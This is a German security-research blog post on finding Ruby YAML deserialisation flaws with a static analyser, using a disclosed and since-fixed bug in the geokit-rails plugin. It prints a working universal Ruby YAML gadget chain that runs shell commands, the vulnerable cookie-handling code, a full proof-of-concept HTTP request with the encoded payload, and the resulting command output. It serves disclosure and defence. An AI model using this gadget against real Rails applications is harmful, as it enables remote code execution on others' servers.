Skip to main content

YAML-Deserialisierung mit Snyk Code finden

Artikel von
Headshot of Calum Hutton

Calum Hutton

23. Februar 2023

0 Min. Lesezeit

Ich habe untersucht, wie sich YAML-Injection-Probleme in Open-Source-Projekten mit Snyk Code identifizieren lassen. Die Schwachstelle selbst ist zwar nicht neu, doch die potenziellen Auswirkungen einer YAML-Injection sind erheblich – ein guter Grund, sie näher zu untersuchen. Dabei wurden mehrere Probleme in Open-Source-Projekten entdeckt, die in Python, PHP und Ruby geschrieben sind. Dieser Artikel befasst sich mit dem Problem in Version 2.3.2 von geokit-rails, einem Plugin für Ruby on Rails

YAML

YAML ist mehr als ein einfaches Datenaustauschformat wie JSON. Die Spezifikation beschreibt eine Reihe fortgeschrittener Funktionen, die es für Sicherheitsuntersuchungen interessant machen, darunter:

  • Benutzerdefinierte Tags (z. B. PyYAML)

  • Anker und Aliase

  • Zusammengeführte Attribute

  • Streams mit mehreren Dokumenten

YAML kann außerdem dazu verwendet werden, Binärdaten und beliebige Objekte in verschiedenen Sprachen zu serialisieren. Das kann zu Deserialisierungsschwachstellen führen. Diese Schwachstellen stehen im Mittelpunkt dieser Untersuchung, da eine erfolgreiche Ausnutzung häufig Remote Code Execution (RCE) ermöglicht.

YAML-Deserialisierung in Ruby

In Ruby ist das Parsen von YAML in die Kernsprache integriert, sodass keine zusätzlichen Bibliotheken benötigt werden. Wenn eine Anwendung den integrierten Ruby-YAML-Parser verwendet, ist sie anfällig für Deserialisierungsangriffe, wenn YAML.load() oder YAML.load_file() anstelle von YAML.safe_load() beziehungsweise YAML.safe_load_file() verwendet wird. Eine alternative YAML-Parser-Lösung, die standardmäßig sicher ist, bietet das Projekt SafeYAML.

Das folgende Skript und seine Ausgabe zeigen, wie sich YAML unsicher mit YAML.load() laden lässt.

require 'yaml'

var = {
 id: 1,
 desc: 'A simple hash'
}

yaml = '---
:id: 1
:desc: A simple hash'

puts var
puts YAML.load(yaml)

# Prints:

{:id=>1, :desc=>"A simple hash"}
{:id=>1, :desc=>"A simple hash"}

Die Variable var enthält einen einfachen Ruby-Hash, während die Variable yaml denselben Hash in serialisierter YAML-Form enthält. Beide puts-Anweisungen geben denselben Hash aus, da die Variable yaml mit YAML.load(). aus einem YAML-String wieder in einen Hash deserialisiert wurde. Auch komplexere Objekte lassen sich auf diese Weise serialisieren und deserialisieren. 

In der Anfangsphase dieser Untersuchung stieß ich auf ein universelles Gadget zur Ruby-YAML-Deserialisierung, das mit Ruby-Versionen von 2.x bis 3.x funktionierte und bei der Deserialisierung die Ausführung beliebiger Befehle auslöste.

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

Die obige YAML-Payload führt bei der Deserialisierung den Befehl id aus, wenn sie mit YAML.load() oder YAML.load_file(). geparst wird.

Fallstudie: geokit-rails (2.3.2)

Das geokit-rails-Gem ist ein Plugin für Ruby on Rails, das der Anwendung Standortdienste bereitstellt. Das Plugin verwendet über die Methode retrieve_location_from_cookie_or_service() in geokit-rails/ip_geocode_lookup.rb die unsichere Methode YAML.load():

# Uses the stored location value from the cookie if it exists.  If
# no cookie exists, calls out to the web service to get the location.
def retrieve_location_from_cookie_or_service
 return GeoLoc.new(YAML.load(cookies[:geo_location])) if cookies[:geo_location]
 location = Geocoders::MultiGeocoder.geocode(get_ip_address)
 return location.success ? location : nil
end

Die Daten, die an die unsichere Methode YAML.load() übergeben werden, stammen aus dem Ruby-on-Rails-Parameter cookies, der die in der Anfrage übermittelten Cookies enthält. Das ist eine gute Nachricht für Angreifer, denn die Cookies lassen sich durch eine entsprechend gestaltete HTTP-Anfrage direkt kontrollieren. 

Proof of Concept

Ich habe eine Rails-Anwendung mit dem Plugin geokit-rails (Version 2.3.2) unter Ruby 3.0.0 eingerichtet. Um das Problem auszunutzen, wurde die folgende HTTP-Anfrage an die Anwendung gesendet. Sie enthält die URL-kodierte YAML-Payload im Cookie geo_location.

GET http://127.0.0.1:3000/vulns HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 0
Cookie: geo_location=---%0A-+%21ruby%2Fobject%3AGem%3A%3AInstaller%0A++++i%3A+x%0A-+%21ruby%2Fobject%3AGem%3A%3ASpecFetcher%0A++++i%3A+y%0A-+%21ruby%2Fobject%3AGem%3A%3ARequirement%0A++requirements%3A%0A++++%21ruby%2Fobject%3AGem%3A%3APackage%3A%3ATarReader%0A++++io%3A+%261+%21ruby%2Fobject%3ANet%3A%3ABufferedIO%0A++++++io%3A+%261+%21ruby%2Fobject%3AGem%3A%3APackage%3A%3ATarReader%3A%3AEntry%0A+++++++++read%3A+0%0A+++++++++header%3A+%22abc%22%0A++++++debug_output%3A+%261+%21ruby%2Fobject%3ANet%3A%3AWriteAdapter%0A+++++++++socket%3A+%261+%21ruby%2Fobject%3AGem%3A%3ARequestSet%0A+++++++++++++sets%3A+%21ruby%2Fobject%3ANet%3A%3AWriteAdapter%0A+++++++++++++++++socket%3A+%21ruby%2Fmodule+%27Kernel%27%0A+++++++++++++++++method_id%3A+%3Asystem%0A+++++++++++++git_set%3A+id%0A+++++++++method_id%3A+%3Aresolve; _my_rails_app_session=%2B48ny21MkgVzlJR4LMcsdNtOK0G1aHx0%2Byoz4xLnkaMHrCner7YSRfQ04notQ0oNesQdG4EV5T%2FpyrQBSKBdKOZLLvP2J1NLOAQe1Z5zTTuu5Grcw1wuRpIHKAmZjfj3bqKqghkOj1JpOBxJoxFS7L6cH3wIsoq%2FrK%2BlAxVvP%2F8F9g5Q%2FA3pLVj2DTF3l7CcDBzOE9cPCOShesP717YbZNoa%2BPNf3mGjmKWvq26Y3CKMg2z7mAJHA%2B0CdA9l2pXsbrgwRJUW3Epqx4eJt0%2FDCJgS6Mp7rGjQeoIqLj4%3D--YAEA%2FepI0t701ifo--fVitYcX5PORz3a9xN4ev4A%3D%3D; __profilin=p%3Dt

In der Rails-Anwendung wurde die Payload deserialisiert und ausgeführt. Dabei wurde der Befehl id ausgeführt, um die Befehlsausführung nachzuweisen.

Started GET "/vulns" for 127.0.0.1 at 2022-11-07 12:05:57 +0000 Processing by VulnsController#index as HTML 
sh: reading: command not found 
uid=501(calumh) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) 
Completed 500 Internal Server Error in 167ms (Allocations: 35610)

Bei einem System mit geokit-rails könnte ein Angreifer diese Schwachstelle ausnutzen, um RCE auszulösen und möglicherweise das gesamte System zu übernehmen. 

Behebung

Das Problem wurde verantwortungsvoll an den Maintainer von geokit-rails gemeldet und in Version 2.5.0 der Software behoben, indem die YAML-Daten mit den Koordinaten durch JSON ersetzt wurden. Im Zuge dieser Untersuchung wurden die Regeln von Snyk Code zur Erkennung von YAML-Injection verbessert und erweitert, sodass nun noch mehr solcher Probleme in den Projekten von Nutzerinnen und Nutzern erkannt werden sollten. 

Starten Sie mit Capture the Flag

Erfahren Sie in unserem virtuellen On-Demand-Workshop für Einsteiger, wie Sie Capture-the-Flag-Herausforderungen lösen.

Weiterlesen

Blog

Frontier-Modelle fanden die Schwachstellen. Nur der Angreifer fand die Angriffsketten.

Die statische Analyse fand die Schwachstellen, doch erst Live-Angriffstests bewiesen, wie sie sich zu Angriffen verketten lassen. Ein Vergleich von Evo COS, Claude Security und Claude Code Security.

feature insights context
Blog

Autonome Angriffe sind bereits Realität. Die Verteidigung muss Schritt halten.

Autonome Angreifer verkürzen das Zeitfenster für die Verteidigung. Erfahren Sie, wie kontinuierliches Erkennen, Beheben, Validieren und Verhindern Sicherheitsteams helfen kann, Schritt zu halten.

Blog

Warum KI-Coding-Agenten immer wieder fehlerhafte Zugriffskontrollen schreiben

KI-Coding-Agenten können Autorisierungslogik erzeugen, die kompiliert und die Prüfung besteht, dabei aber die Daten eines Mandanten für einen anderen offenlegt. Erfahren Sie, warum fehlerhafte Zugriffskontrollen schwer zu erkennen sind und wie Sie sie verhindern.